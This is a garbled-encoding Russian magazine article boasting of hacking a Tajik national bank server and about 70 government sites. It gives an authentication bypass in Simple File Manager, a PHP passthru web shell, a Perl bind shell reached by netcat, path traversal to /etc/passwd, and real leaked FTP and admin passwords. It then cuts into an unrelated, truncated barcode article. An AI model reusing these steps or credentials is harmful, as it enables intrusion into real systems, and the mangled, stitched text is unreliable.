íûå, à äîñòàòü ïðèâàòíûå ñïëîèòû äëÿ ìå-
íÿ íå áûëî âîçìîæíîñòè. ß ðåøèë ëþáîé
öåíîé ïðîãðûçòü ñåáå äûðó ÷åðåç web.
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Âçëîì ñàéòîâ íàöèîíàëüíîãî áàíêà, ìèíôèíà è Ïðåçèäåíòà Òàäæèêèñòàíà

Òî÷èêèñòîíñêèé êêîñÿê



[êîñÿê àäìèíà] Ñ ïåðâûõ æå
ñåêóíä ÿ ïðèíÿëñÿ èçó÷àòü âîç-
ìîæíîñòè, äîñòóïíûå èç àäìèíêè.
Ïåðâûå íåñêîëüêî ïóíêòîâ íåñëè
ðàçî÷àðîâàíèå � èç ôóíêöèé áû-
ëè ëèøü ïðîñìîòð è ðåäàêòèðîâà-
íèå ñòàòåé, ðàçìåùåííûõ íà ñàé-
òå. Ìîÿ ïîïûòêà èñïîëíèòü php-
ñêðèïò â òåëå ñòàòüè íå óâåí÷à-
ëàñü óñïåõîì � ÿ ëèøü óâèäåë
åãî èñõîäíûé êîä. Ìîæíî áûëî áû
ïîñòàâèòü ñíèôåð è ïîïûòàòüñÿ
ïîéìàòü ñåññèþ àäìèíà, íî ÷òî
áû ýòî äàëî? ß ñîìíåâàëñÿ, ÷òî
âîçìîæíîñòè ðóñèôèöèðîâàííîé
àäìèíêè áîëüøå, ÷åì àíãëèéñêîé. 
Äàëüøå � áîëüøå: ðàçäåë Files
� ïðîñìîòð àðõèâà âñåõ ñòàòåé
è çàãðóçêà ôàéëîâ. Âñå � âîò
îíî. Íåòåðïåëèâî êëèêíóâ ïî
ññûëêå äëÿ ïåðåõîäà ê ôàéë-ìå-
íåäæåðó, ÿ âíîâü ïîëó÷èë îòêàç.
Ìíå âåæëèâî ïðåäëîæèëè çàëî-
ãèíèòüñÿ è äàæå óæå âïèñàëè çà
ìåíÿ ëîãèí: nbtjftp. Òåïåðü îñòà-
âàëîñü óãàäàòü ïàðîëü, è ÿ ïðàê-
òè÷åñêè  ïîëó÷àþ âåá-øåëë.
Ïàðà îò÷àÿííûõ ïîïûòîê îòãà-
äàòü ïàðîëü ñ ëåòà íå óâåí÷àëèñü
óñïåõîì. ß îñòàíîâèëñÿ è íà÷àë
ñîîáðàæàòü: ñîîáùåíèå íàä
ñòðîêîé ôîðìû ëîãèíà ãëàñèëî:
Simple File Manager � Login.
Â òîò æå ìîìåíò ÿ îáðàòèëñÿ ê
áàãòðàêàì. Íå îäèí èç íèõ íå
çíàë òàêîãî ñêðèïòà è íå ñîäåð-
æàë óïîìèíàíèé êàê î äàííîé
âåðñèè, òàê è î ïðåäûäóùèõ ðå-
ëèçàõ. Ìîè íàäåæäû íà óäà÷íûé
âçëîì òàÿëè ñ êàæäîé ìèíóòîé,
îò áåçûñõîäíîñòè ÿ âíîâü âåð-
íóëñÿ ê àâòîðèçàöèè.
Â ïðàâîì íèæíåì óãëó áûë ëèíê
íà ñàéò ðàçðàáîò÷èêà, îòêóäà
âïîñëåäñòâèè ÿ ñêà÷àë èñõîäíè-
êè ñêðèïòà. Àâòîð ðàñïðîñòðà-
íÿë åãî áåñïëàòíî, è, ÷òî ñàìîå
èíòåðåñíîå, îí áûë åùå â ñòà-
äèè àëüôà òåñòèðîâàíèÿ, à çíà-
÷èò, øàíñû íà òî, ÷òî ñêðèïò ñî-
äåðæèò íåäîðàáîòêè, ðåçêî óâå-
ëè÷èâàëèñü. ß ðåøèë èñêàòü
óÿçâèìîñòè ñàì. 

[êîäåðñêèé êîñÿê] Ðåøèâ îçíàêî-
ìèòüñÿ ñ ïðèíöèïîì ðàáîòû ñêðèïòà è
ïîñìîòðåòü, êàêèå âîçìîæíîñòè êðî-
þòñÿ âíóòðè, ÿ çàëèë åãî íà ñâîé ñåð-
âåð è çàëîãèíèëñÿ ïîä èçâåñòíûì ìíå
àêêàóíòîì, ïðåäëàãàåìûì ðàçðàáîò-
÷èêîì äëÿ òåñòèðîâàíèÿ: guest:demo.
Äàííûå î ïîëüçîâàòåëå õðàíèëèñü â
ñàìîì ñêðèïòå fm.php. Ïîëàçàâ ïî ñâî-
èì ïàïêàì, ÿ íàæàë ïèìïó logout è âåð-
íóëñÿ ê ïðîöåññó àâòîðèçàöèè. Âîò ÷òî
ÿ çàìåòèë, ïðîäåëàâ îïåðàöèþ ëîãèíà
åùå ðàç: äàííûå î ïîëüçîâàòåëå ïåðå-
äàâàëèñü ñêðèïòó ìåòîäîì POST â ïå-
ðåìåííûõ $user è $password. Åñëè àâ-
òîðèçàöèÿ ïðîøëà óñïåøíî, òî ñêðèïò
ïðîïóñêàë ìåíÿ âíóòðü. ×òî ñàìîå èí-
òåðåñíîå, â àäðåñíîé ñòðîêå ïîñëå
ýòîãî äîáàâëÿëàñü ïåðåìåííàÿ
$u=guest. Òàêèì îáðàçîì, ñêðèïò ñëå-
äèë çà òåì, êàêîé ïîëüçîâàòåëü çàëî-
ãèíåí â äàííûé ìîìåíò. Åñëè ïîìåíÿòü
çíà÷åíèå ïåðåìåííîé $u, òî ñêðèïò çà-
ðóãàåòñÿ è îòïðàâèò ìåíÿ ê ôîðìå àâ-
òîðèçàöèè. Òàê âîò æå îíà ìîÿ áàãà,
ïîäóìàë ÿ! Ñäåëàâ ëîãàóò, ÿ âíîâü î÷ó-
òèëñÿ ïåðåä îêîøêîì ââîäà ëîãèíà è
ïàññà, òîëüêî íà ýòîò ðàç ÿ ñîîáùèë
ñêðèïòó ïåðåìåííóþ $u, ñîäåðæàùóþ
ìîé ëîãèí, êîòîðûé, êñòàòè, àâòîìàòè-
÷åñêè ïðîïèñûâàåòñÿ â ïîëå ôîðìû.
Ïîñëå îáíîâëåíèÿ ñòðàíèöû ÿ äîáèëñÿ
òîãî, ÷åãî õîòåë: àâòîðèçàöèÿ áûëà óñ-
ïåøíî îáìàíóòà. Ïîñìîòðåâ èñõîäíè-
êè ñêðèïòà, ÿ ëèøü òîëüêî óáåäèëñÿ â
ñâîåé ïðàâîòå:  ñêðèïò äàâàë âîçìîæ-
íîñòü ðåäàêòèðîâàòü ïåðåìåííóþ $u,
êîòîðàÿ áûëà êàê áû ôëàãîì àâòîðè-
çàöèè ïîñðåäñòâîì GET çàïðîñà:

if (isset($_REQUEST['u'])) { $u =
$_REQUEST['u']; }
else { $u = ""; }

Ýòà ñòðî÷êà è ïîçâîëÿëà ìíå áåñïðåïÿ-
òñòâåííî èçìåíèòü çíà÷åíèå ïåðåìåí-
íîé, îáúÿâèâ ñêðèïòó, ÷òî ÿ ÷åñòíî ïðî-
øåë ïðîöåäóðó àâòîðèçàöèè è ìíå ìîæ-
íî äîâåðÿòü. Êðèòè÷åñêàÿ îøèáêà ïðîã-
ðàììèñòà-óòûðêà ñûãðàëà ìíå íà ðóêó!
Óâåðåííûé â ñâîåé óäà÷å, ÿ ðåøèë íà-
êîíåö-òàêè ðàçîáðàòüñÿ ñ ñàéòîì áàí-
êà äî êîíöà. 
Ïåðåéäÿ ê ôàéë-ìåíåäæåðó ïî àäðåñó
www.nbt.tj/en/files/fm.php, ÿ î÷óòèëñÿ ïåðåä
çíàêîìûì îêîøêîì. Êàê è ïîëàãàåòñÿ, ëî-
ãèí ïîëüçîâàòåëÿ áûë óæå ïðîïèñàí â ñâî-
åì ïîëå, à ýòî âñå, ÷òî ìíå áûëî íóæíî. 
ß áûñòðî ïåðåïðàâèë óðë íà www.nbt.tj/
en/files/fm.php?u=nbtjftp, è ñêðèïò ñ óäî-
âîëüñòâèåì àâòîðèçèðîâàë ìåíÿ. [X
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Íà íàøåì äèñêå òû íàé-
äåøü âñå ïðîãðàììû,
îïèñàííûå â ñòàòüå, 
à òàêæå âèäåîèëëþñò-
ðàöèþ ê ýòîìó âçëîìó.
×òîáû âñÿêèå óòûðêè 
íå ãîâîðèëè, ÷òî âñå ýòî
ìû ïðèäóìàëè ñàìè.

ñàéò
íàöèîíàëüíîãî
áàíêà, êîòîðûé
ñêîðî ïàäåò ïîä
ìîèì íàïîðîì

âîò òàêîé ñàéò ó
Ïðåçèäåíòà Òî÷èêèñòîíà

ñïèñîê
ðàçìåùåííûõ íà
ñåðâåðå ñàéòîâ
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áèíä-øåëë íà 32767-îì ïîðòó

[ñåðâåð èçíóòðè] Ðåøèâ íåìíîãî
îòâëå÷üñÿ, ÿ ïðèíÿëñÿ ÷èòàòü àâòîðñêîå
îïèñàíèå ñêðèïòà. Ðàçðàáîò÷èê ïèñàë:
«äàííûé ñêðèïò ñîçäàí êàê àëüòåðíàòè-
âà FTP è ïðåäíàçíà÷åí äëÿ ëþäåé, ó êî-
òîðûõ íåò âîçìîæíîñòè ïîëüçîâàòüñÿ
ôòï, èëè èì ïî êàêèì-òî ïðè÷èíàì îò-
êàçàíî â äîñòóïå». Íó êîíå÷íî, ôòï!
Âîïðåêè âñåé ëîãèêå àâòîðà ïðîãðàì-
ìû ÿ ïîïûòàëñÿ çàëîãèíèòüñÿ íà
ôòïøíèê ñ äîáûòûìè ëîãèíîì è ïàñ-
ñîì, è, ÷òî ñàìîå óäèâèòåëüíîå, ìåíÿ
ïðîïóñòèëè � âîò îí, äîñòóï. Íà ñêî-
ðóþ ðóêó ÿ íàñòðî÷èë ñëåäóþùèé êîä:

<?
echo "<pre>";
passthru($_GET['cmd']);
echo "</pre>";
?>

Âûáðàâ íåïðèìåòíóþ äèðåêòîðèþ íà
ñåðâåðå, ÿ çàëèë ñâîé ñêðèïò ïîä èìå-
íåì search.php, ÷òîáû òîò íå ñèëüíî
âûäåëÿëñÿ ñðåäè äðóãèõ ôàéëîâ. Ñþ-
äà æå ÿ çàëèë è bind.pl � áèíä-øåëë íà
ïåðëå ñî ñòàíäàðòíûìè íàñòðîéêàìè
áèíäà íà 32767-îì ïîðòó. Çàáèíäèâ
äëÿ ñåáÿ ïîðò, ñî ñâîåãî âåá-øåëëà êî-
ìàíäîé perl bind.pl, ÿ ïðèêîííåêòèëñÿ
netcat'îì ê ñåðâó:

nc.exe www.nbt.tj 32767

Èãðàåì äàëüøå. Ïåðâûì äåëîì ÿ óçíàë,
êòî åùå ïîëüçóåòñÿ ñèñòåìîé â äàííûé
ìîìåíò, è ïîñëåäíèå ïîäêëþ÷åíèÿ:

who;
last -10;

Ê ñ÷àñòüþ, àäìèíîâ íà ìåñòå íå áûëî,
è ÿ ðàáîòàë ñ ìàøèíîé îäèí. Äàëüøå 
ÿ âûÿñíèë ñâîè ïðàâà è îïåðàöèîíêó,
óñòàíîâëåííóþ íà ñåðâåðå:

id; uname -a;

Îêàçàëîñü, ÷òî ÿ ðàáîòàë èç-ïîä þçå-
ðà apache, à ñåðâà÷îê êðóòèëñÿ ïîä óï-
ðàâëåíèåì gentoo c ÿäðîì 2.6.11. Ê ñî-
æàëåíèþ, ðóòà çäåñü âçÿòü íå ïîëó÷èò-
ñÿ, õîòÿ ÷åãî åùå ÿ îæèäàë çäåñü óâè-
äåòü? Îñòàâøèñü áåç ðóòîâîãî øåëëà,
ÿ ïðèíÿëñÿ èññëåäîâàòü ñåðâåð äàëü-
øå. Ïðîñìîòðåâ ïàïêó htdocs, ÿ ñ óäèâ-
ëåíèåì îáíàðóæèë, ÷òî íà ýòîì ñåð-
âà÷êå õîñòèòñÿ åùå îêîëî 70 ñàéòîâ,
ñðåäè êîòîðûõ áûëè çàìå÷åíû ïðîåê-
òû Ìèíèñòåðñòâà Èíîñòðàííûõ Äåë,
Ìèíèñòåðñòâà Ôèíàíñîâ, Ñàéò Ïðåçè-
äåíòà, åùå íåñêîëüêî áàíêîâ, èíòåð-
íåò-ïðîâàéäåð, òåëåâèäåíèå è ãàçåòà.
Â îáùåì, âåñü Òàäæèêèñòàíñêèé õàé-
òåê ïîìåñòèëñÿ íà îäíîì ñåðâåðå, êî-
òîðûé èç-çà àäìèíîâ-íàðêîìàíîâ
âñêîðå ïîçâîëèë ìíå ïîëó÷èòü ïîëíûé
äîñòóï êî âñåì ñàéòàì, âêëþ÷àÿ ðå-
ñóðñ Ïðåçèäåíòà ðåñïóáëèêè Òî÷èêèñ-
òîí :). ß âîò äî ñèõ ïîð ñäåðæèâàþ ñå-
áÿ îò òîãî, ÷òîáû ïîìåíÿòü ôîòîãðà-
ôèþ Ïðåçèäåíòà íà ñâîþ :).

[ñïëîøíîé read only] Êàêîâî æå
áûëî ìîå ðàçî÷àðîâàíèå, êîãäà ÿ îá-
íàðóæèë, ÷òî ïðàâà íà ñîçäàíèå è ðå-
äàêòèðîâàíèå ôàéëîâ ñêðèïò íå ïðå-
äîñòàâëÿåò, òàêæå îòñóòñòâóþò ïðàâà
íà àïëîàä ôàéëîâ íà ñåðâåð. Â îá-
ùåì, ñïëîøíîé read only :(. Ðàáî÷àÿ
äèðåêòîðèÿ áûëà îãðàíè÷åíà: ñêðèïò
îòêàçûâàëñÿ ïîäíèìàòüñÿ óðîâíåì
âûøå, è áûëè äîñòóïíû òîëüêî êîðíå-
âàÿ ïàïêà, ãäå è áûë ïðîèíñòàëëèðî-
âàí ñêðèïò, ïðè÷åì õèòðûé àâòîð çàï-
ðîãðàììèðîâàë åãî ñêðûâàòü ñàìîãî
ñåáÿ îò ãëàç ïîëüçîâàòåëÿ. Îäíèì ñëî-
âîì, ÿ óâèäåë ñîâñåì íå òî, ÷òî îæèäàë.
È ñ ýòèì íàäî áûëî êàê-òî áîðîòüñÿ. 
Íàó÷åííûé îïûòîì ïîääåëêè ïåðåìåí-
íîé $u, ÿ òùàòåëüíî ñëåäèë çà ñòðóêòó-
ðîé óðëà è ïåðåìåííûõ, êîòîðûå ïåðå-
äàþòñÿ ñêðèïòó. Ìîå ïîäîçðåíèå ïàëî
íà ïðîöåññ ïðîñìîòðà ôàéëà, êîãäà ÷å-
ðåç ïåðåìåííóþ edit ñêðèïòó ïåðåäàâà-
ëîñü èìÿ ôàéëà, óêàçàííîãî ïîëüçîâàòå-
ëåì. Õì, à ÷òî åñëè ïåðåäàòü ïåðåìåí-
íîé ÷òî-òî òèïà ../../../../../../../../etc/pass-
wd? Òàêèì îáðàçîì, èñïðàâèâ óðë íà 
www.nbt.tj/en/file/fm.php?u=nbtjftp&edit=
../../../../../../../../etc/passwd&copt=1, 
ÿ ñìîã ïðîñìàòðèâàòü ëþáûå ôàéëû
íà ñåðâåðå, êîòîðûå áûëè äîñòóïíû
ìîåìó ïîëüçîâàòåëþ. ß ðåøèë ïîñìîò-
ðåòü èñõîäíèê ñêðèïòà, äëÿ ÷åãî çàäàë
çíà÷åíèå ïåðåìåííîé $edit, ðàâíîå
fm.php. Êàê ÿ è îæèäàë, âíóòðè ñîðöà
áûëè æåñòêî ïðîïèñàíû àäìèíñêèå
ðåêâèçèòû: nbtjftp:ftpnb02.
Ïîñëå ýòîãî ïðîèçîøëî ñàìîå óæàñ-
íîå: ÿ çàäàëñÿ èçâå÷íûì ðóññêèì âîï-
ðîñîì «÷òî äåëàòü?». Ìíå õîòåëîñü
íàìíîãî áîëüøåãî, ÷åì ïðîñòî ïðîñ-
ìîòð ôàéëîâ, à ñâåæèõ èäåé â ãîëîâå
ïðàêòè÷åñêè íå îñòàâàëîñü.

âîò îíà êàêàÿ, íàøà ñèñòåìà



[ïî ïîðÿäêó] Îäíàêî íå áóäåì çàáå-
ãàòü âïåðåä, ðàññêàæó âñå ïî ïîðÿäêó.
Ðàçìûøëÿÿ íàä òåì, êàê ëèõî ìíå óäà-
ëîñü ïîëó÷èòü äîñòóï ê FTP, ÿ ïðèøåë ê
âûâîäó, ÷òî äëÿ êàæäîãî ñàéòà ñäåëàíà
ñâîÿ ó÷åòíàÿ çàïèñü è êàæäîìó ðåñóðñó
ïîçâîëåíî þçàòü FTP. Âñïîìíèâ ëîãè
nmap, ÿ óçíàë, ÷òî íà ñåðâå óñòàíîâëåí
ProFTPD. ß ðåøèë íàéòè êîíôèãè ýòî-
ãî ñåðâèñà è ïîñìîòðåòü, êàêèå ó÷åò-
íûå çàïèñè òàì åñòü. Äëÿ ýòîãî ÿ âû-
ïîëíèë ñëåäóþùóþ êîìàíäó:

# find / -type f -name "proftpd*";

Ñðåäè íàéäåííûõ ôàéëîâ, åñòü òî, ÷òî
ìíå íóæíî, � ýòî ôàéëèê /etc/proftpd/
proftpd.conf. Ïðîñìîòðåâ åãî, ÿ ïðîñòî
îáîìëåë. Íèêîãäà åùå òàêîãî íå âèäåë.
Â çàãîëîâêå êàæäîãî áëî÷êà ñ îïèñàíè-
åì ftp-ïîëüçîâàòåëÿ â êîììåíòàðèè áûë
ïðîïèñàí ÏÀÐÎËÜ ýòîãî þçåðà! Íàïðè-
ìåð, îïèñàíèå ëîãèíà ñ ãîâîðÿùèì íàç-
âàíèåì president.tj âûãëÿäåëî òàê:

# president.tj
# p:SomonTj

User president
Group users
MaxClients 10
AnonRequirePassword on
RequireValidShel off
AllowOverwrite on

Ïîëó÷èâ äîñòóï êî âñåì ftp-àêêàóíòà
íà ñåðâåðå, ÿ ðåøèë ïðîäîëæèòü ñâîè
èçûñêàíèÿ. Ïîêîïàâøèñü â ðàçëè÷íûõ
ñêðèïòàõ, ÿ âûóäèë íåñêîëüêî mysql-
àêêàóíòîâ. Îäíàêî, âîïðåêè îæèäàíè-
ÿì, â áàçàõ äàííûõ ÿ íå íàøåë íèêàêèõ
ñâåäåíèé î ìàðøðóòàõ ïîñòàâîê ãàøè-
øà, îðóæèÿ è ïåðåâîçêè èììèãðàíòîâ;
âñå, ÷òî áûëî â áàçå, � ýòî òåêñòû
ïóáëèêàöèé è ïðî÷èé ìóñîð. Õîòÿ â ÁÄ
îäíîãî áàíêà, ÿ îáíàðóæèë íå÷òî ïîõî-
æåå íà ñèñòåìó àâòîðèçàöèè. Íà èõ
ñàéòå ÿ ïðî÷èòàë, ÷òî îíè âñêîðå ïëà-
íèðóþò îòêðûòü ñåðâèñ îíëàéí-áàí-
êèíãà. Íó âîò, ñåðâèñ åùå íå îòêðûëè,
à äîñòóï óæå åñòü :).

[âìåñòî çàêëþ÷åíèÿ] Âñå ïðîñòî
ýëåìåíòàðíî. Çà íåñêîëüêî ÷àñîâ ðàáî-
òû ÿ ïîèìåë âñå îíëàéí-ïðåäñòàâèòåëü-
ñòâà öåëîé ñòðàíû. Âîçìîæíî, íåêîòî-
ðûå ñêàæóò, ÷òî âçëîì âî ìíîãîì ïðè-
ìèòèâåí: ïóñòîé ïàðîëü â ñêðûòîé àä-
ìèíêå, ýëåìåíòàðíûé áàã âîñïàëåííîãî
ïðîãðàììåðñêîãî ìîçãà, ìàðàçìàòè÷-
íîå ðåøåíèå àäìèíèñòðàòîðà çàïèñàòü
ïàðîëè ïîëüçîâàòåëåé â êîììåíòàðèÿõ
êîíôèãà ftp-ñåðâåðà. Îäíàêî òàêîå ïî-
ëîæåíèå äåë âî ìíîãîì ïîêàçàòåëüíî,
íå ñëåäóåò äóìàòü, ÷òî òàêîå «ðàçãâîç-
äÿéñòâî» � åäèíè÷íûé ñëó÷àé. Ìíîãèå
àäìèíèñòðàòîðû, îñîáåííî íà ïîñòñî-
âåòñêîì ïðîñòðàíñòâå, îòíîñÿòñÿ ê âîç-
ìîæíîñòè âçëîìà, êàê ê ÷åìó-òî ñâåðõú-
åñòåñòâåííîìó, ÷òî ïðîèñõîäèò ñ êåì
óãîäíî, íî òîëüêî íå ñ íèìè.
Êàê ïîêàçàë ìîé ïðèìåð, âíåäðÿÿ õàé-
òåê, íóæíî áûòü î÷åíü îñòîðîæíûì. 
À òî ïîëó÷èòñÿ òàêîé æå êîñÿê, êàê è ó
òî÷èêèñòîíöåâ

Ñëåäóåò ïîíèìàòü, ÷òî âñå, ÷òî 
ÿ ïðîäåëàë � ýòî ïðîòèâîçàêîííî.
Ýòà ñòàòüÿ äàíà ëèøü äëÿ îçíàêîì-
ëåíèÿ è îðãàíèçàöèè ýôôåêòèâíîé
çàùèòû. Çà ïðèìåíåíèå ìàòåðèàëà
â íåçàêîííûõ öåëÿõ, íåñåøü îòâåò-
ñòâåííîñòü òîëüêî òû ñàì. Ñîáëþ-
äàé çàêîíû ñâîåé ñòðàíû.

òà ñàìàÿ ôîðìà àâòîðèçàöèè
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âåá-øåëë íå äîëæåí âûäåëÿòüñÿ ñðåäè îñòàëüíûõ ôàéëîâ

êðèâàÿ àäìèíêà.
Îòñþäà âñå 
è íà÷àëîñü

ïîëó÷àåì ëîãèí è ïàññ

ÏÎËÅÇÍÛÅ ÑÑÑÛËÊÈ
Óòèëèòà Netcat, áåç êîòîðîé íå îáõîäèòñÿ íè îäèí

âçëîì:
http://cesnet.dl.sourceforge.net/sourceforge/netcat/netcat-
0.7.1.tar.gz

Ïîïóëÿðíûé ñêàíåð Nmap:
www.insecure.org/nmap/nmap_download.html

Áàæíûé ñêðèïò Simple File Manager ñ èäèîòñêîé äûðêîé,
áëàãîäàðÿ êîòîðîé ÿ ïîèìåë âñå ñåðâåðû Òàäæèêèñòàíà:
http://sourceforge.net/project/showfiles.php?group_id=60333

bind.pl � ïåðëîâûé ñêðèïò, áèäíÿùèé øåëë 
íà óêàçàííîì ïîðòó: www.oak.hu/avatar/bind.pl

Tajikistan
is very 
smart country
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ÁÀÆÍÛÉ ÄÄÂÈÆÎÊ
Íà âçëîìàííîì ñàéòå èñïîëüçîâàëñÿ äâèæîê Simple File
Manager, êîòîðûé ìîæíî ñêà÷àòü ïî àäðåñó http://source-
forge.net/project/showfiles.php?group_id=60333. Â ñêðèïòå
äîïóùåíà èäèîòñêàÿ îøèáêà, êîòîðóþ ìîã ñäåëàòü òîëü-
êî øêîëüíèê äåâÿòè ëåò. Ïîñëå àâòîðèçàöèè ïîëüçîâàòå-
ëÿ â êà÷åñòâå ôëàãà, îáîçíà÷àþùåãî òîò ôàêò, ÷òî îí
ââåë êîððåêòíûé ïàðîëü, ñêðèïòó ïåðåäàåòñÿ GET-ïåðå-
ìåííàÿ u, óêàçûâàþùàÿ ëîãèí, ïîä êîòîðûì âîøåë ïîëü-
çîâàòåëü. Òàêèì îáðàçîì, äëÿ àâòîðèçàöèè äîñòàòî÷íî
ëèøü ïîäñòàâèòü òðåáóåìûé ëîãèí â ýòó ïåðåìåííóþ. Ýòî
óæå æåñòêèé áàã, íî åùå õóæå ñòàíîâèòñÿ îò òîãî ôàêòà,
÷òî ñêðèïò ñàì ñîîáùàåò âçëîìùèêó òðåáóåìûé ëîãèí:
îí ïîäñòàâëÿåò åãî â ôîðìó àâòîðèçàöèè. Ïðèäóðîøíûé
õîä äëÿ ñîìíèòåëüíîãî ïîâûøåíèÿ usability îáåðíóëñÿ
æåñòêèì áàãîì.

Tajikistan 
One way Ticket

RUSSIA �� TTAJIKISTAN





ÌÛ ÂÑÒÐÅ×ÀÅÌ ÈÕ ÂÅÇÄÅ: ÍÀ ÓÏÀÊÎÂÊÀÕ ÒÎÂÀÐÎÂ, ÍÀ ÊÍÈÃÀÕ È ÆÓÐÍÀËÀÕ, ÍÀ ÊÎÐÎÁÊÀÕ ÈÇ-ÏÎÄ CD, ÍÀ
ÏÐÎÄÓÊÒÀÕ È ÄÀÆÅ ÍÀ ÁÈËÅÒÀÕ ÏÐÈÃÎÐÎÄÍÛÕ ÝËÅÊÒÐÈ×ÅÊ. ÎÍÈ ÎÊÐÓÆÀÞÒ ÍÀÑ ÏÎÂÑÞÄÓ, ÏÐÎ×ÍÎ ÂÎÉÄß
Â ÍÀØÓ ÆÈÇÍÜ. ÌÛ ÒÀÊ ÏÐÈÂÛÊËÈ Ê ÍÈÌ, ×ÒÎ ÄÀÆÅ ÍÈÊÎÃÄÀ ÍÅ ÎÁÐÀÙÀÅÌ ÍÀ ÍÈÕ ÂÍÈÌÀÍÈß. ß ÈÌÅÞ Â
ÂÈÄÓ ØÒÐÈÕÊÎÄÛ, ÐÈÑÓÍÊÈ, ÑÎÑÒÎßÙÈÅ ÈÇ ÏÎËÎÑÎÊ, ÊÎÒÎÐÛÅ Ñ×ÈÒÛÂÀÞÒ ËÀÇÅÐÎÌ ÏÐÎÄÀÂÙÈÖÛ Â ÑÓ-
ÏÅÐÌÀÐÊÅÒÀÕ È ÒÓÐÍÈÊÅÒÛ ÍÀ Æ/Ä ÑÒÀÍÖÈßÕ. ÒÅÁÅ ÍÈÊÎÃÄÀ ÍÅ ÁÛËÎ ÈÍÒÅÐÅÑÍÎ, ÊÀÊÓÞ ÈÍÔÎÐÌÀÖÈÞ
ÑÎÄÅÐÆÀÒ Â ÑÅÁÅ ÝÒÈ ×ÅÐÍÎ-ÁÅËÛÅ ÊÎÄÛ? ÊÀÊ ÔÓÍÊÖÈÎÍÈÐÓÅÒ ÝÒÀ ÒÅÕÍÎËÎÃÈß, ÍÀÑÊÎËÜÊÎ ÎÍÀ ÝÔ-
ÔÅÊÒÈÂÍÀ È, ÑÀÌÎÅ ÃËÀÂÍÎÅ, ÍÀÑÊÎËÜÊÎ ÎÍÀ ÓßÇÂÈÌÀ | Rossomahaar (rossomahaar@mail.ru)

[îáúåêò èçó÷åíèÿ] Øòðèõîâîé êîä (barcode) ïðåäñòàâëÿ-
åò ñîáîé ïîñëåäîâàòåëüíîñòü ÷åðíûõ è áåëûõ ïîëîñ, ñîäåð-
æàùèõ â ñåáå íåêîòîðóþ èíôîðìàöèþ. Âñå ðàçíîâèäíîñòè
øòðèõêîäîâ ìîæíî ðàçäåëèòü íà òðè âèäà: ëèíåéíûå, äâóõ-
ìåðíûå è êîìïîçèòíûå.
Ëèíåéíûé øòðèõêîä ÷èòàåòñÿ â îäíîì íàïðàâëåíèè è èìååò
áîëüøîå ÷èñëî ðàçíîâèäíîñòåé, íàïðèìåð, EAN, UPC,
Code39, Code128 è äðóãèå. Íàñêîëüêî ìíå èçâåñòíî, ýòèõ âè-
äîâ íàñ÷èòûâàåòñÿ óæå áîëåå ñîòíè. Òàêèå êîäû ìîãóò ñîäåð-
æàòü íåáîëüøîé îáúåì èíôîðìàöèè (äî 20�30 ñèìâîëîâ).
Äâóõìåðíûå (Two-dimensional èëè 2D-code) bar-êîäû ðàñ-
øèôðîâûâàþòñÿ â äâóõ èçìåðåíèÿõ: ïî âåðòèêàëè è ïî ãîðè-
çîíòàëè, ÷òî òðåáóåò áîëåå ñëîæíîãî îáîðóäîâàíèÿ, ÷åì äëÿ
ñ÷èòûâàíèÿ ëèíåéíûõ êîäîâ. Îíè ìîãóò âêëþ÷àòü â ñåáÿ ãî-
ðàçäî áîëüøèé îáúåì èíôîðìàöèè (äî íåñêîëüêèõ ñòðàíèö
òåêñòà). Ðàçðàáîòàíî áîëåå 20 ðàçëè÷íûõ ñèìâîëèê äâóõ-
ìåðíûõ øòðèõêîäîâ. Íàèáîëåå ïîïóëÿðíû êîäû � PDF417,
Datamatrix, Aztec.
Êîìïîçèòíûé êîä îáúåäèíÿåò â ñåáå äâóõìåðíûé è ëèíåé-
íûé êîä, ïîçâîëÿÿ òàêèì îáðàçîì èñïîëüçîâàòü äëÿ ñ÷èòû-Þ
Í

È
Ò

Û

âàíèÿ ðàçëè÷íîå îáîðóäîâàíèå. Ïðèìåð
òàêîãî êîäà � Aztec Mesa.
Äëÿ áîëüøèíñòâà ñèìâîëèê çíà÷åíèå öèôð,
âõîäÿùèõ â øòðèõêîä, îïðåäåëÿåòñÿ ðàçðà-
áîò÷èêîì ñèñòåìû. Íàèáîëåå ðàñïðîñòðà-
íåííîé ñèìâîëèêîé ñ ïðåäîïðåäåëåííûìè
çíà÷åíèÿìè ïîçèöèé ÿâëÿþòñÿ òîâàðíûå
ñèìâîëèêè: EAN-13, EAN-8, UPC-A è UPC-E.

[EAN-UCC] EAN (European Article Numbering) International � ýòî Íåêîììåð÷åñêàÿ
Ìåæäóíàðîäíàÿ Àññîöèàöèÿ, óïðàâëÿþùàÿ ìåæäóíàðîäíîé ñèñòåìîé òîâàðíîé íó-
ìåðàöèè è ñòàíäàðòîâ øòðèõîâîãî êîäèðîâàíèÿ. Íà òåððèòîðèè Ðîññèè äåéñòâóåò
àññîöèàöèÿ àâòîìàòè÷åñêîé èäåíòèôèêàöèè ÞÍÈÑÊÀÍ/EAN (www.ean.ru), ÿâëÿþ-
ùàÿñÿ ïðåäñòàâèòåëüñòâîì EAN â íàøåé ñòðàíå.
×àñòî ìîæíî âñòðåòèòü àááðåâèàòóðó EAN âìåñòå ñ àááðåâèàòóðîé UCC (Uniform Code
Council) � îðãàíèçàöèåé, çàíèìàþùåéñÿ ðàñïðîñòðàíåíèåì ñòàíäàðòîâ øòðèõîâîãî
êîäèðîâàíèÿ íà òåððèòîðèè ÑØÀ. Ñëåäñòâèåì âçàèìîäåéñòâèÿ ýòèõ îðãàíèçàöèé ñòà-
ëà ñîâìåñòèìîñòü ïðîäâèãàåìûõ èìè ñòàíäàðòîâ (UCC èìååò ñâîé ñòàíäàðò êîäèðîâà-
íèÿ UPC (Universal Product Code), êîòîðûé ÿâëÿåòñÿ ïðàðîäèòåëåì êîäèðîâîê EAN). 
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Îïèñàíèå è óÿçâèìîñòè òåõíîëîãèé øòðèõêîäîâ

Ëîøàäü ââ ïïîëîñêó

ñêàíåð øòðèõêîäîâ



ñëåäóþùèå çà íåé øåñòü öèôð. Êîä EAN-13 èñïîëüçóåò òðè âèäà êîäè-
ðîâîê: ccooddee AA, ccooddee BB, ccooddee CC. Äâîè÷íûé êîä code C ïîëó÷àåòñÿ â ðåçóëü-
òàòå ïðîâåäåíèÿ îïåðàöèè ëîãè÷åñêîãî îòðèöàíèÿ code A, òî åñòü NOT
code A, à code B � ýòî «îáðàòíûé» code C. Â äâîè÷íîé ñèñòåìå öèôðû
ýòèõ êîäèðîâîê âûãëÿäÿò ñëåäóþùèì îáðàçîì:

Code A Code B Code C
0: 0001101 0100111 1110010
1: 0011001 0110011 1100110
2: 0010011 0011011 1101100
3: 0111101 0100001 1000010
4: 0100011 0011101 1011100
